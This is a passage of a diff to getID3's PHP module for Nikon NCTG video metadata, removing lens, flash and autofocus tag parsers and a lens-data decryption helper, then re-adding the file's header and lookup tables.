static::$isoInfoExpansions2[getid3_lib::BigEndian2Int(substr($data, 10, 2))] - ); - break; - case 0x0200002a: // VignetteControl - $data = isset(static::$vignetteControls[$data]) ? static::$vignetteControls[$data] : $data; - break; - case 0x0200002c: // UnknownInfo - $data = array( - 'UnknownInfoVersion' => substr($data, 0, 4), - ); - break; - case 0x02000032: // UnknownInfo2 - $data = array( - 'UnknownInfo2Version' => substr($data, 0, 4), - ); - break; - case 0x02000039: // LocationInfo - $encoding = isset(static::$nikonTextEncodings[ord(substr($data, 4, 1))]) - ? static::$nikonTextEncodings[ord(substr($data, 4, 1))] - : null; - $data = array( - 'LocationInfoVersion' => substr($data, 0, 4), - 'TextEncoding' => $encoding, - 'CountryCode' => trim(substr($data, 5, 3), "\x00"), - 'POILevel' => ord(substr($data, 8, 1)), - 'Location' => getid3_lib::iconv_fallback($encoding, $this->getid3->info['encoding'], substr($data, 9, 70)), - ); - break; - case 0x02000083: // LensType - if ($data) { - $decodedBits = array( - '1' => (bool) (($data >> 4) & 1), - 'MF' => (bool) (($data >> 0) & 1), - 'D' => (bool) (($data >> 1) & 1), - 'E' => (bool) (($data >> 6) & 1), - 'G' => (bool) (($data >> 2) & 1), - 'VR' => (bool) (($data >> 3) & 1), - '[7]' => (bool) (($data >> 7) & 1), // AF-P? - '[8]' => (bool) (($data >> 5) & 1) // FT-1? - ); - if ($decodedBits['D'] === true && $decodedBits['G'] === true) { - $decodedBits['D'] = false; - } - } else { - $decodedBits = array('AF' => true); - } - $data = $decodedBits; - break; - case 0x0110a432: // LensInfo - case 0x02000084: // Lens - if (count($data) !== 4) { - break; - } - - $value = $data[0]; - if ($data[1] && $data[1] !== $data[0]) { - $value .= '-' . $data[1]; - } - $value .= 'mm f/' . $data[2]; - if ($data[3] && $data[3] !== $data[2]) { - $value .= '-' . $data[3]; - } - $data = $value; - break; - case 0x02000087: // FlashMode - $data = isset(static::$flashModes[$data]) ? static::$flashModes[$data] : $data; - break; - case 0x02000098: // LensData - $version = substr($data, 0, 4); - - switch ($version) { - case '0100': - $data = array( - 'LensDataVersion' => $version, - 'LensIDNumber' => ord(substr($data, 6, 1)), - 'LensFStops' => ord(substr($data, 7, 1)) / 12, - 'MinFocalLength' => 5 * pow(2, ord(substr($data, 8, 1)) / 24), // mm - 'MaxFocalLength' => 5 * pow(2, ord(substr($data, 9, 1)) / 24), // mm - 'MaxApertureAtMinFocal' => pow(2, ord(substr($data, 10, 1)) / 24), - 'MaxApertureAtMaxFocal' => pow(2, ord(substr($data, 11, 1)) / 24), - 'MCUVersion' => ord(substr($data, 12, 1)), - ); - break; - case '0101': - case '0201': - case '0202': - case '0203': - $isEncrypted = $version !== '0101'; - if ($isEncrypted) { - $data = $this->decryptLensInfo($data, $serialNumber, $shutterCount, 4); - } - - $data = array( - 'LensDataVersion' => $version, - 'ExitPupilPosition' => ord(substr($data, 4, 1)) > 0 ? 2048 / ord(substr($data, 4, 1)) : 0, // mm - 'AFAperture' => pow(2, ord(substr($data, 5, 1)) / 24), - 'FocusPosition' => '0x' . str_pad(strtoupper(dechex(ord(substr($data, 8, 1)))), 2, '0', STR_PAD_LEFT), - 'FocusDistance' => 0.01 * pow(10, ord(substr($data, 9, 1)) / 40), // m - 'FocalLength' => 5 * pow(2, ord(substr($data, 10, 1)) / 24), // mm - 'LensIDNumber' => ord(substr($data, 11, 1)), - 'LensFStops' => ord(substr($data, 12, 1)) / 12, - 'MinFocalLength' => 5 * pow(2, ord(substr($data, 13, 1)) / 24), // mm - 'MaxFocalLength' => 5 * pow(2, ord(substr($data, 14, 1)) / 24), // mm - 'MaxApertureAtMinFocal' => pow(2, ord(substr($data, 15, 1)) / 24), - 'MaxApertureAtMaxFocal' => pow(2, ord(substr($data, 16, 1)) / 24), - 'MCUVersion' => ord(substr($data, 17, 1)), - 'EffectiveMaxAperture' => pow(2, ord(substr($data, 18, 1)) / 24), - ); - break; - case '0204': - $data = $this->decryptLensInfo($data, $serialNumber, $shutterCount, 4); - - $data = array( - 'LensDataVersion' => $version, - 'ExitPupilPosition' => ord(substr($data, 4, 1)) > 0 ? 2048 / ord(substr($data, 4, 1)) : 0, // mm - 'AFAperture' => pow(2, ord(substr($data, 5, 1)) / 24), - 'FocusPosition' => '0x' . str_pad(strtoupper(dechex(ord(substr($data, 8, 1)))), 2, '0', STR_PAD_LEFT), - 'FocusDistance' => 0.01 * pow(10, ord(substr($data, 10, 1)) / 40), // m - 'FocalLength' => 5 * pow(2, ord(substr($data, 11, 1)) / 24), // mm - 'LensIDNumber' => ord(substr($data, 12, 1)), - 'LensFStops' => ord(substr($data, 13, 1)) / 12, - 'MinFocalLength' => 5 * pow(2, ord(substr($data, 14, 1)) / 24), // mm - 'MaxFocalLength' => 5 * pow(2, ord(substr($data, 15, 1)) / 24), // mm - 'MaxApertureAtMinFocal' => pow(2, ord(substr($data, 16, 1)) / 24), - 'MaxApertureAtMaxFocal' => pow(2, ord(substr($data, 17, 1)) / 24), - 'MCUVersion' => ord(substr($data, 18, 1)), - 'EffectiveMaxAperture' => pow(2, ord(substr($data, 19, 1)) / 24), - ); - break; - case '0400': - case '0401': - $data = $this->decryptLensInfo($data, $serialNumber, $shutterCount, 4); - - $data = array( - 'LensDataVersion' => $version, - 'LensModel' => substr($data, 394, 64), - ); - break; - case '0402': - $data = $this->decryptLensInfo($data, $serialNumber, $shutterCount, 4); - - $data = array( - 'LensDataVersion' => $version, - 'LensModel' => substr($data, 395, 64), - ); - break; - case '0403': - $data = $this->decryptLensInfo($data, $serialNumber, $shutterCount, 4); - - $data = array( - 'LensDataVersion' => $version, - 'LensModel' => substr($data, 684, 64), - ); - break; - case '0800': - case '0801': - $data = $this->decryptLensInfo($data, $serialNumber, $shutterCount, 4); - - $newData = array( - 'LensDataVersion' => $version, - ); - - if (!preg_match('#^.\0+#s', substr($data, 3, 17))) { - $newData['ExitPupilPosition'] = ord(substr($data, 4, 1)) > 0 ? 2048 / ord(substr($data, 4, 1)) : 0; // mm - $newData['AFAperture'] = pow(2, ord(substr($data, 5, 1)) / 24); - $newData['FocusPosition'] = '0x' . str_pad(strtoupper(dechex(ord(substr($data, 9, 1)))), 2, '0', STR_PAD_LEFT); - $newData['FocusDistance'] = 0.01 * pow(10, ord(substr($data, 11, 1)) / 40); // m - $newData['FocalLength'] = 5 * pow(2, ord(substr($data, 12, 1)) / 24); // mm - $newData['LensIDNumber'] = ord(substr($data, 13, 1)); - $newData['LensFStops'] = ord(substr($data, 14, 1)) / 12; - $newData['MinFocalLength'] = 5 * pow(2, ord(substr($data, 15, 1)) / 24); // mm - $newData['MaxFocalLength'] = 5 * pow(2, ord(substr($data, 16, 1)) / 24); // mm - $newData['MaxApertureAtMinFocal'] = pow(2, ord(substr($data, 17, 1)) / 24); - $newData['MaxApertureAtMaxFocal'] = pow(2, ord(substr($data, 18, 1)) / 24); - $newData['MCUVersion'] = ord(substr($data, 19, 1)); - $newData['EffectiveMaxAperture'] = pow(2, ord(substr($data, 20, 1)) / 24); - } - - if (!preg_match('#^.\0+#s', substr($data, 47, 17))) { - $newData['LensID'] = static::$NikkorZLensIDS[getid3_lib::LittleEndian2Int(substr($data, 48, 2))]; - $newData['MaxAperture'] = pow(2, (getid3_lib::LittleEndian2Int(substr($data, 54, 2)) / 384 - 1)); - $newData['FNumber'] = pow(2, (getid3_lib::LittleEndian2Int(substr($data, 56, 2)) / 384 - 1)); - $newData['FocalLength'] = getid3_lib::LittleEndian2Int(substr($data, 60, 2)); // mm - $newData['FocusDistance'] = 0.01 * pow(10, ord(substr($data, 79, 1)) / 40); // m - } - - $data = $newData; - break; - default: - // $data = $this->decryptLensInfo($data, $serialNumber, $shutterCount, 4); - - $data = array( - 'LensDataVersion' => $version, - ); - break; - } - break; - case 0x020000a7: // ShutterCount - $shutterCount = $data; - break; - case 0x020000a8: // FlashInfo - $version = substr($data, 0, 4); - - switch ($version) { - case '0100': - case '0101': - $data = array( - 'FlashInfoVersion' => substr($data, 0, 4), - 'FlashSource' => static::$flashInfoSources[ord(substr($data, 4, 1))], - 'ExternalFlashFirmware' => $this->flashFirmwareLookup(ord(substr($data, 6, 1)), ord(substr($data, 7, 1))), - 'ExternalFlashFlags' => $this->externalFlashFlagsLookup(ord(substr($data, 8, 1))), - 'FlashCommanderMode' => (bool)(ord(substr($data, 9, 1)) & 0x80), - 'FlashControlMode' => static::$flashInfoControlModes[ord(substr($data, 9, 1)) & 0x7F], - 'FlashOutput' => (ord(substr($data, 9, 1)) & 0x7F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 10, 1)) / 6) * 100)) : 0, - 'FlashCompensation' => $this->printFraction(-getid3_lib::BigEndian2Int(substr($data, 10, 1), false, true) / 6), - 'FlashFocalLength' => ord(substr($data, 11, 1)), // mm - 'RepeatingFlashRate' => ord(substr($data, 12, 1)), // Hz - 'RepeatingFlashCount' => ord(substr($data, 13, 1)), - 'FlashGNDistance' => static::$flashInfoGNDistances[ord(substr($data, 14, 1))], - 'FlashGroupAControlMode' => static::$flashInfoControlModes[ord(substr($data, 15, 1)) & 0x0F], - 'FlashGroupBControlMode' => static::$flashInfoControlModes[ord(substr($data, 16, 1)) & 0x0F], - 'FlashGroupAOutput' => (ord(substr($data, 15, 1)) & 0x0F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 17, 1)) / 6) * 100)) : 0, - 'FlashGroupACompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 17, 1), false, true) / 6), - 'FlashGroupBOutput' => (ord(substr($data, 16, 1)) & 0xF0) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 18, 1)) / 6) * 100)) : 0, - 'FlashGroupBCompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 18, 1), false, true) / 6), - ); - break; - case '0102': - $data = array( - 'FlashInfoVersion' => substr($data, 0, 4), - 'FlashSource' => static::$flashInfoSources[ord(substr($data, 4, 1))], - 'ExternalFlashFirmware' => $this->flashFirmwareLookup(ord(substr($data, 6, 1)), ord(substr($data, 7, 1))), - 'ExternalFlashFlags' => $this->externalFlashFlagsLookup(ord(substr($data, 8, 1))), - 'FlashCommanderMode' => (bool)(ord(substr($data, 9, 1)) & 0x80), - 'FlashControlMode' => static::$flashInfoControlModes[ord(substr($data, 9, 1)) & 0x7F], - 'FlashOutput' => (ord(substr($data, 9, 1)) & 0x7F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 10, 1)) / 6) * 100)) : 0, - 'FlashCompensation' => $this->printFraction(-getid3_lib::BigEndian2Int(substr($data, 10, 1), false, true) / 6), - 'FlashFocalLength' => ord(substr($data, 12, 1)), // mm - 'RepeatingFlashRate' => ord(substr($data, 13, 1)), // Hz - 'RepeatingFlashCount' => ord(substr($data, 14, 1)), - 'FlashGNDistance' => static::$flashInfoGNDistances[ord(substr($data, 15, 1))], - 'FlashGroupAControlMode' => static::$flashInfoControlModes[ord(substr($data, 16, 1)) & 0x0F], - 'FlashGroupBControlMode' => static::$flashInfoControlModes[ord(substr($data, 17, 1)) & 0xF0], - 'FlashGroupCControlMode' => static::$flashInfoControlModes[ord(substr($data, 17, 1)) & 0x0F], - 'FlashGroupAOutput' => (ord(substr($data, 16, 1)) & 0x0F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 18, 1)) / 6) * 100)) : 0, - 'FlashGroupACompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 18, 1), false, true) / 6), - 'FlashGroupBOutput' => (ord(substr($data, 17, 1)) & 0xF0) >= 0x60 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 19, 1)) / 6) * 100)) : 0, - 'FlashGroupBCompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 19, 1), false, true) / 6), - 'FlashGroupCOutput' => (ord(substr($data, 17, 1)) & 0x0F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 20, 1)) / 6) * 100)) : 0, - 'FlashGroupCCompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 20, 1), false, true) / 6), - ); - break; - case '0103': - case '0104': - case '0105': - $data = array( - 'FlashInfoVersion' => substr($data, 0, 4), - 'FlashSource' => static::$flashInfoSources[ord(substr($data, 4, 1))], - 'ExternalFlashFirmware' => $this->flashFirmwareLookup(ord(substr($data, 6, 1)), ord(substr($data, 7, 1))), - 'ExternalFlashFlags' => $this->externalFlashFlagsLookup(ord(substr($data, 8, 1))), - 'FlashCommanderMode' => (bool)(ord(substr($data, 9, 1)) & 0x80), - 'FlashControlMode' => static::$flashInfoControlModes[ord(substr($data, 9, 1)) & 0x7F], - 'FlashOutput' => (ord(substr($data, 9, 1)) & 0x7F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 10, 1)) / 6) * 100)) : 0, - 'FlashCompensation' => $this->printFraction(-getid3_lib::BigEndian2Int(substr($data, 10, 1), false, true) / 6), - 'FlashFocalLength' => ord(substr($data, 12, 1)), // mm - 'RepeatingFlashRate' => ord(substr($data, 13, 1)), // Hz - 'RepeatingFlashCount' => ord(substr($data, 14, 1)), - 'FlashGNDistance' => static::$flashInfoGNDistances[ord(substr($data, 15, 1))], - 'FlashColorFilter' => static::$flashInfoColorFilters[ord(substr($data, 16, 1))], - 'FlashGroupAControlMode' => static::$flashInfoControlModes[ord(substr($data, 17, 1)) & 0x0F], - 'FlashGroupBControlMode' => static::$flashInfoControlModes[ord(substr($data, 18, 1)) & 0xF0], - 'FlashGroupCControlMode' => static::$flashInfoControlModes[ord(substr($data, 18, 1)) & 0x0F], - 'FlashGroupAOutput' => (ord(substr($data, 17, 1)) & 0x0F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 19, 1)) / 6) * 100)) : 0, - 'FlashGroupACompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 19, 1), false, true) / 6), - 'FlashGroupBOutput' => (ord(substr($data, 18, 1)) & 0xF0) >= 0x60 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 20, 1)) / 6) * 100)) : 0, - 'FlashGroupBCompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 20, 1), false, true) / 6), - 'FlashGroupCOutput' => (ord(substr($data, 18, 1)) & 0x0F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 21, 1)) / 6) * 100)) : 0, - 'FlashGroupCCompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 21, 1), false, true) / 6), - 'ExternalFlashCompensation' => $this->printFraction(-getid3_lib::BigEndian2Int(substr($data, 27, 1), false, true) / 6), - 'FlashExposureComp3' => $this->printFraction(-getid3_lib::BigEndian2Int(substr($data, 29, 1), false, true) / 6), - 'FlashExposureComp4' => $this->printFraction(-getid3_lib::BigEndian2Int(substr($data, 39, 1), false, true) / 6), - ); - break; - case '0106': - $data = array( - 'FlashInfoVersion' => substr($data, 0, 4), - 'FlashSource' => static::$flashInfoSources[ord(substr($data, 4, 1))], - 'ExternalFlashFirmware' => $this->flashFirmwareLookup(ord(substr($data, 6, 1)), ord(substr($data, 7, 1))), - 'ExternalFlashFlags' => $this->externalFlashFlagsLookup(ord(substr($data, 8, 1))), - 'FlashCommanderMode' => (bool)(ord(substr($data, 9, 1)) & 0x80), - 'FlashControlMode' => static::$flashInfoControlModes[ord(substr($data, 9, 1)) & 0x7F], - 'FlashFocalLength' => ord(substr($data, 12, 1)), // mm - 'RepeatingFlashRate' => ord(substr($data, 13, 1)), // Hz - 'RepeatingFlashCount' => ord(substr($data, 14, 1)), - 'FlashGNDistance' => self::$flashInfoGNDistances[ord(substr($data, 15, 1))], - 'FlashColorFilter' => static::$flashInfoColorFilters[ord(substr($data, 16, 1))], - 'FlashGroupAControlMode' => static::$flashInfoControlModes[ord(substr($data, 17, 1)) & 0x0F], - 'FlashGroupBControlMode' => static::$flashInfoControlModes[ord(substr($data, 18, 1)) & 0xF0], - 'FlashGroupCControlMode' => static::$flashInfoControlModes[ord(substr($data, 18, 1)) & 0x0F], - 'FlashOutput' => (ord(substr($data, 9, 1)) & 0x7F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 39, 1)) / 6) * 100)) : 0, - 'FlashCompensation' => $this->printFraction(-getid3_lib::BigEndian2Int(substr($data, 39, 1), false, true) / 6), - 'FlashGroupAOutput' => (ord(substr($data, 17, 1)) & 0x0F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 40, 1)) / 6) * 100)) : 0, - 'FlashGroupACompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 40, 1), false, true) / 6), - 'FlashGroupBOutput' => (ord(substr($data, 18, 1)) & 0xF0) >= 0x60 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 41, 1)) / 6) * 100)) : 0, - 'FlashGroupBCompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 41, 1), false, true) / 6), - 'FlashGroupCOutput' => (ord(substr($data, 18, 1)) & 0x0F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 42, 1)) / 6) * 100)) : 0, - 'FlashGroupCCompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 42, 1), false, true) / 6), - ); - break; - case '0107': - case '0108': - $data = array( - 'FlashInfoVersion' => substr($data, 0, 4), - 'FlashSource' => static::$flashInfoSources[ord(substr($data, 4, 1))], - 'ExternalFlashFirmware' => $this->flashFirmwareLookup(ord(substr($data, 6, 1)), ord(substr($data, 7, 1))), - 'ExternalFlashZoomOverride' => (bool)(ord(substr($data, 8, 1)) & 0x80), - 'ExternalFlashStatus' => static::$flashInfoExternalFlashStatuses[ord(substr($data, 8, 1)) & 0x01], - 'ExternalFlashReadyState' => static::$flashInfoExternalFlashReadyStates[ord(substr($data, 9, 1)) & 0x07], - 'FlashCompensation' => $this->printFraction(-getid3_lib::BigEndian2Int(substr($data, 10, 1), false, true) / 6), - 'FlashFocalLength' => ord(substr($data, 12, 1)), // mm - 'RepeatingFlashRate' => ord(substr($data, 13, 1)), // Hz - 'RepeatingFlashCount' => ord(substr($data, 14, 1)), - 'FlashGNDistance' => static::$flashInfoGNDistances[ord(substr($data, 15, 1))], - 'FlashGroupAControlMode' => static::$flashInfoControlModes[ord(substr($data, 17, 1)) & 0x0F], - 'FlashGroupBControlMode' => static::$flashInfoControlModes[ord(substr($data, 18, 1)) & 0xF0], - 'FlashGroupCControlMode' => static::$flashInfoControlModes[ord(substr($data, 18, 1)) & 0x0F], - 'FlashGroupAOutput' => (ord(substr($data, 17, 1)) & 0x0F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 40, 1)) / 6) * 100)) : 0, - 'FlashGroupACompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 40, 1), false, true) / 6), - 'FlashGroupBOutput' => (ord(substr($data, 18, 1)) & 0xF0) >= 0x60 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 41, 1)) / 6) * 100)) : 0, - 'FlashGroupBCompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 41, 1), false, true) / 6), - 'FlashGroupCOutput' => (ord(substr($data, 18, 1)) & 0x0F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 42, 1)) / 6) * 100)) : 0, - 'FlashGroupCCompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 42, 1), false, true) / 6), - ); - break; - case '0300': - $data = array( - 'FlashInfoVersion' => substr($data, 0, 4), - 'FlashSource' => static::$flashInfoSources[ord(substr($data, 4, 1))], - 'ExternalFlashFirmware' => $this->flashFirmwareLookup(ord(substr($data, 6, 1)), ord(substr($data, 7, 1))), - 'FlashCompensation' => $this->printFraction(-getid3_lib::BigEndian2Int(substr($data, 27, 1), false, true) / 6), - ); - break; - default: - $data = array( - 'FlashInfoVersion' => substr($data, 0, 4), - ); - break; - } - break; - case 0x020000b1: // HighISONoiseReduction - $data = isset(static::$highISONoiseReductions[$data]) ? static::$highISONoiseReductions[$data] : $data; - break; - case 0x020000b7: // AFInfo2 - $avInfo2Version = substr($data, 0, 4); - $contrastDetectAF = ord(substr($data, 4, 1)); - $phaseDetectAF = ord(substr($data, 6, 1)); - $rows = array( - 'AFInfo2Version' => $avInfo2Version, - 'ContrastDetectAF' => static::$AFInfo2ContrastDetectAFChoices[$contrastDetectAF], - 'AFAreaMode' => $contrastDetectAF - ? static::$AFInfo2AFAreaModesWithContrastDetectAF[ord(substr($data, 5, 1))] - : static::$AFInfo2AFAreaModesWithoutContrastDetectAF[ord(substr($data, 5, 1))], - 'PhaseDetectAF' => static::$AFInfo2PhaseDetectAFChoices[$phaseDetectAF], - ); - - if ($avInfo2Version === '0100') { - $rows['AFImageWidth'] = getid3_lib::BigEndian2Int(substr($data, 16, 2)); - $rows['AFImageHeight'] = getid3_lib::BigEndian2Int(substr($data, 18, 2)); - $rows['AFAreaXPosition'] = getid3_lib::BigEndian2Int(substr($data, 20, 2)); - $rows['AFAreaYPosition'] = getid3_lib::BigEndian2Int(substr($data, 22, 2)); - $rows['AFAreaWidth'] = getid3_lib::BigEndian2Int(substr($data, 24, 2)); - $rows['AFAreaHeight'] = getid3_lib::BigEndian2Int(substr($data, 26, 2)); - $rows['ContrastDetectAFInFocus'] = (bool)ord(substr($data, 28, 1)); - } elseif (strpos($avInfo2Version, '03') === 0) { - $rows['AFImageWidth'] = getid3_lib::BigEndian2Int(substr($data, 42, 2)); - $rows['AFImageHeight'] = getid3_lib::BigEndian2Int(substr($data, 44, 2)); - if ($contrastDetectAF === 2 - || ($contrastDetectAF === 1 && $avInfo2Version === '0301') - ) { - $rows['AFAreaXPosition'] = getid3_lib::BigEndian2Int(substr($data, 46, 2)); - $rows['AFAreaYPosition'] = getid3_lib::BigEndian2Int(substr($data, 48, 2)); - } - $rows['AFAreaWidth'] = getid3_lib::BigEndian2Int(substr($data, 50, 2)); - $rows['AFAreaHeight'] = getid3_lib::BigEndian2Int(substr($data, 52, 2)); - } elseif ($contrastDetectAF === 1 && $avInfo2Version === '0101') { - $rows['AFImageWidth'] = getid3_lib::BigEndian2Int(substr($data, 70, 2)); - $rows['AFImageHeight'] = getid3_lib::BigEndian2Int(substr($data, 72, 2)); - $rows['AFAreaXPosition'] = getid3_lib::BigEndian2Int(substr($data, 74, 2)); - $rows['AFAreaYPosition'] = getid3_lib::BigEndian2Int(substr($data, 76, 2)); - $rows['AFAreaWidth'] = getid3_lib::BigEndian2Int(substr($data, 78, 2)); - $rows['AFAreaHeight'] = getid3_lib::BigEndian2Int(substr($data, 80, 2)); - $rows['ContrastDetectAFInFocus'] = (bool) ord(substr($data, 82, 1)); - } - - $data = $rows; - break; - case 0x020000c3: // BarometerInfo - $data = array( - 'BarometerInfoVersion' => substr($data, 0, 4), - 'Altitude' => getid3_lib::BigEndian2Int(substr($data, 6, 4), false, true), // m - ); - break; - } - $tag_name = (isset($NCTGtagName[$record_type]) ? $NCTGtagName[$record_type] : '0x' . str_pad(dechex($record_type), 8, '0', STR_PAD_LEFT)); - - $parsed[$tag_name] = $data; - } - } - - return $parsed; - } - - /** - * @param int $value 0x80 subtracted - * @param string $normalName 'Normal' (0 value) string - * @param string|null $format format string for numbers (default '%+d'), 3) v2 divisor - * @param int|null $div - * - * @return string - */ - protected function printPC($value, $normalName = 'Normal', $format = '%+d', $div = 1) { - switch ($value) { - case 0: - return $normalName; - case 0x7f: - return 'n/a'; - case -0x80: - return 'Auto'; - case -0x7f: - return 'User'; - } - - return sprintf($format, $value / $div); - } - - /** - * @param int|float $value - * - * @return string - */ - protected function printFraction($value) { - if (!$value) { - return '0'; - } elseif ((int) $value /$value > 0.999) { - return sprintf("%+d", (int) $value); - } elseif ((int) ($value * 2) / ($value * 2) > 0.999) { - return sprintf("%+d/2", (int) ($value * 2)); - } elseif ((int) ($value * 3) / ($value * 3) > 0.999) { - return sprintf("%+d/3", (int) ($value * 3)); - } - - return sprintf("%+.3g", $value); - } - - /** - * @param int $firstByte - * @param int $secondByte - * - * @return string - */ - protected function flashFirmwareLookup($firstByte, $secondByte) - { - $indexKey = $firstByte.' '.$secondByte; - if (isset(static::$flashInfoExternalFlashFirmwares[$indexKey])) { - return static::$flashInfoExternalFlashFirmwares[$indexKey]; - } - - return sprintf('%d.%.2d (Unknown model)', $firstByte, $secondByte); - } - - /** - * @param int $flags - * - * @return string[]|string - */ - protected function externalFlashFlagsLookup($flags) - { - $result = array(); - foreach (static::$flashInfoExternalFlashFlags as $bit => $value) { - if (($flags >> $bit) & 1) { - $result[] = $value; - } - } - - return $result; - } - - /** - * @param string $data - * @param mixed|null $serialNumber - * @param mixed|null $shutterCount - * @param int $decryptStart - * - * @return false|string - */ - protected function decryptLensInfo( - $data, - $serialNumber = null, - $shutterCount = null, - $decryptStart = 0 - ) { - if (null === $serialNumber && null === $shutterCount) { - return false; - } - - if (!is_int($serialNumber) || !is_int($shutterCount)) { - if (null !== $serialNumber && null !== $shutterCount) { - $this->getid3->warning('Invalid '.(!is_int($serialNumber) ? 'SerialNumber' : 'ShutterCount')); - } else { - $this->getid3->warning('Cannot decrypt Nikon tags because '.(null === $serialNumber ? 'SerialNumber' : 'ShutterCount').' key is not defined.'); - } - - return false; - } - - $start = $decryptStart; - $length = strlen($data) - $start; - - return $this->decrypt($data, $serialNumber, $shutterCount, $start, $length); - } - - /** - * Decrypt Nikon data block - * - * @param string $data - * @param int $serialNumber - * @param int $count - * @param int $start - * @param int $length - * - * @return string - */ - protected function decrypt($data, $serialNumber, $count, $start = 0, $length = null) - { - $maxLen = strlen($data) - $start; - if (null === $length || $length > $maxLen) { - $length = $maxLen; - } - - if ($length <= 0) { - return $data; - } - - $key = 0; - for ($i = 0; $i < 4; ++$i) { - $key ^= ($count >> ($i * 8)) & 0xFF; - } - $ci = static::$decodeTables[0][$serialNumber & 0xff]; - $cj = static::$decodeTables[1][$key]; - $ck = 0x60; - $unpackedData = array(); - for ($i = $start; $i < $length + $start; ++$i) { - $cj = ($cj + $ci * $ck) & 0xff; - $ck = ($ck + 1) & 0xff; - $unpackedData[] = ord($data[$i]) ^ $cj; - } - - $end = $start + $length; - $pre = $start ? substr($data, 0, $start) : ''; - $post = $end < strlen($data) ? substr($data, $end) : ''; - - return $pre . implode('', array_map('chr', $unpackedData)) . $post; - } - - /** - * Get serial number for use as a decryption key - * - * @param string $serialNumber - * @param string|null $model - * - * @return int|null - */ - protected function serialKey($serialNumber, $model = null) - { - if (empty($serialNumber) || ctype_digit($serialNumber)) { - return (int) $serialNumber; - } - - if (null !== $model && preg_match('#\bD50$#', $model)) { - return 0x22; - } - - return 0x60; - } -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.tag.nikon-nctg.php // +// // +///////////////////////////////////////////////////////////////// + +/** + * Module for analyzing Nikon NCTG metadata in MOV files + * + * @author Pavel Starosek + * @author Phil Harvey + * + * @link https://exiftool.org/TagNames/Nikon.html#NCTG + * @link https://github.com/exiftool/exiftool/blob/master/lib/Image/ExifTool/Nikon.pm + * @link https://leo-van-stee.github.io/ + */ +class getid3_tag_nikon_nctg +{ + const EXIF_TYPE_UINT8 = 0x0001; + const EXIF_TYPE_CHAR = 0x0002; + const EXIF_TYPE_UINT16 = 0x0003; + const EXIF_TYPE_UINT32 = 0x0004; + const EXIF_TYPE_URATIONAL = 0x0005; + const EXIF_TYPE_INT8 = 0x0006; + const EXIF_TYPE_RAW = 0x0007; + const EXIF_TYPE_INT16 = 0x0008; + const EXIF_TYPE_INT32 = 0x0009; + const EXIF_TYPE_RATIONAL = 0x000A; + + protected static $exifTypeSizes = array( + self::EXIF_TYPE_UINT8 => 1, + self::EXIF_TYPE_CHAR => 1, + self::EXIF_TYPE_UINT16 => 2, + self::EXIF_TYPE_UINT32 => 4, + self::EXIF_TYPE_URATIONAL => 8, + self::EXIF_TYPE_INT8 => 1, + self::EXIF_TYPE_RAW => 1, + self::EXIF_TYPE_INT16 => 2, + self::EXIF_TYPE_INT32 => 4, + self::EXIF_TYPE_RATIONAL => 8, + ); + + protected static $exposurePrograms = array( + 0 => 'Not Defined', + 1 => 'Manual', + 2 => 'Program AE', + 3 => 'Aperture-priority AE', + 4 => 'Shutter speed priority AE', + 5 => 'Creative (Slow speed)', + 6 => 'Action (High speed)', + 7 => 'Portrait', + 8 => 'Landscape' + ); + + protected static $meteringModes = array( + 0 => 'Unknown', + 1 => 'Average', + 2 => 'Center-weighted average', + 3 => 'Spot', + 4 => 'Multi-spot', + 5 => 'Multi-segment', + 6 => 'Partial', + 255 => 'Other' + ); + + protected static $cropHiSpeeds = array( + 0 => 'Off', + 1 => '1.3x Crop', + 2 => 'DX Crop', + 3 => '5:4 Crop', + 4 => '3:2 Crop', + 6 => '16:9 Crop', + 8 => '2.7x Crop', + 9 => 'DX Movie Crop', + 10 => '1.3x Movie Crop', + 11 => 'FX Uncropped', + 12 => 'DX Uncropped', + 15 => '1.5x Movie Crop', + 17 => '1:1 Crop' + ); + + protected static $colorSpaces = array( + 1 => 'sRGB', + 2 => 'Adobe RGB' + ); + + protected static $vibrationReductions = array( + 1 => 'On', + 2 => 'Off' + ); + + protected static $VRModes = array( + 0 => 'Normal', + 1 => 'On (1)', + 2 => 'Active', + 3 => 'Sport' + ); + + protected static $activeDLightnings = array( + 0 => 'Off', + 1 => 'Low', + 3 => 'Normal', + 5 => 'High', + 7 => 'Extra High', + 8 => 'Extra High 